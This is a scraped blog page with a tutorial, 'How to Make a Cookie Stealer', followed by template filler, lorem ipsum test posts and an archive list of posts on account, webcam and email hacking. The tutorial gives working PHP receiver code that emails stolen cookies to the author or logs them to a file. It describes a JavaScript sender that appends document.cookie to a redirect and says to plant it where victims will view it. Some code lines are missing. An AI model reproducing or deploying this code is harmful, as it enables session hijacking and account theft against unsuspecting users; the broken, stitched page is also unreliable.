How to Make a Cookie Stealer
Introduction :
Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and the receiver.
The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached.
It can sometimes be difficult to find a way to implement the sender.
The receiver, as the name suggests, is a device which receives the cookie from the sender.
It can also take several forms, but the most common is that of a PHP document,
most commonly found residing on some obscure webserver.
Step One: The Code
Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver:
a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).
As I said in the introduction, the receiver's job is to receive the cookie from the sender.
The easiest way to send information to a PHP document is by using the HTTP GET method,
which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value").
PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.
Once the receiver has the cookie, it needs a way to get that cookie to you.
The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.
First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4
Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.
Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?> // line 5
Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file.
The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break,
making it easier for us to sift through the log file.
Line 5 is the same as before.
Step Two: Implementing the Stealer
The hardest part (usually) of making a cookie stealer is finding a way to use the sender.
The simplest method requires use of HTML and JavaScript, so you have to be sure that your environment supports those two.
Here is an example of a sender.
// Line 3
Line 1 tells the browser that the following chunk of code is to be interpereted as JavaScript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Whenever document.
location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as JavaScript (return to HTML).
There are two main ways of implementing the sender:
You can plant your sender where the victim will view it as an HTML document with his browser.
In order to do that, you have to find some way to actually post the code somewhere on the site.
-
Windows Home Server - Backup to LAN Steps : 1. Selected a NAS whose file system supports large file sizes (important for video backup - don...
-
Display a list of Started Services from the Command Line (Windows) To interact with the services panel from the command line, Windows provid...
-
Enable Quick Copy and Paste with the Mouse on SecureCRT SecureCRT uses the Ctrl+Ins and Shift+Ins keys for copy and paste instead of the nor...
-
Backup Windows Home Server Folders to an External Hard Drive Using Windows Home Server to backup computers on your local network is a great...
-
Configure Your Computer to Backup to Windows Home Server One of the cool features of Windows Home Server is being able to set backups of the...
-
Add Copy To / Move To to the Windows Explorer Right Click Menu A hidden functionality in Windows allows you to right click on a file, select...
-
Restore Files from Backups on Windows Home Server If you use Windows Home Server to backup the machines on your network, your in luck if you...
-
Fast User Switching is a way for users to quickly switch between accounts without having to fully log off. This is just one more service tha...
-
Enable Direct Memory Access (DMA) 1. Right-click on My Computer, select Properties 2. Select the Hardware tab 3. Click the Device Manager bu...
-
I find it very annoying when I go home from work and plug my laptop into my external hard drive… The autoplay window always pops up and asks...
Sample Post With, Links, Paragraphs
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Sample Post With, Links, Paragraphs and Comments
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Custom Fields Included
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Testing Posts With Longer Than Normal Titles
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Sample Post With, Links, Paragraphs
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...
Sample Post With, Links, Paragraphs
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Sample Post With, Links, Paragraphs and Comments
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Custom Fields Included
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Testing Posts With Longer Than Normal Titles
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...Sample Post With, Links, Paragraphs
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...This is Just Going to Be Another Test Post with Paragraphs
Lorem ipsum no has veniam elaboraret constituam, ne nibh posidonium vel. Has ad quaeque omittantur, malis abhorreant eam no, qui cu minim placerat def...
Games
?max-results=7">Games " });Sample Test Post
Nov 22, 20130Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...
Read more- Read more
- Read more
- Read more
Sample Test Post
Nov 22, 20130Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, ...
- Read more
- Read more
"
});
Category
Contact Form
Random Post
Video
Pages
Labels
Latest News
Main Post
Archive
-
▼
2010
(70)
-
▼
May
(37)
- Command Prompt Disabled
- Remove Windows XP system software
- Speed Up Windows 7
- Windows 7 Short Cuts
- Change "StandBy" Button to "ShutDown" Button in Vista
- Enable Direct Memory Access (DMA)
- Run Disk Clean-Up
- Reduce Page File Size
- Disable Automatic Windows Defender Operation
- Turn-Off Un-Needed Features
- Windows Keyboard Shortcuts
- UNKNOWN TRICKS FOR WINDOWS XP
- Funny Computer Trick
- FIRE FOX TRICKS
- Disc CleanUp in Windows Vista
- Creating Your Own Shortcuts
- Boot XP real Fast
- Rapidshare Unlimited Free Downloads
- REMOVING ITEMS
- How To Remove and Add Right-Click Menu Items from ...
- RUN Commands (including new 1s)
- How to make cookies and hack Orkut accounts
- Command Prompt Disabled
- Change Windows XP Password
- Hacking internet web cameras
- YAHOO BOOTERS
- Hide data on cd or dvd
- Speed Up youTube buffering speed
- Enable Right Click on websites
- HIDE FOLDERS IN WINDOWS
- Edit Any Website You Want
- Make Windows XP Shutdown Faster than ever
- Use Google to get Serial No of any Software
- Right Clicking disabled
- Much Simpler trick to HACK admin from GUEST
- Make Your Own Startup Logo
- Email Hacking software, Password hacking software,...
-
▼
May
(37)















0 comments:
Post a Comment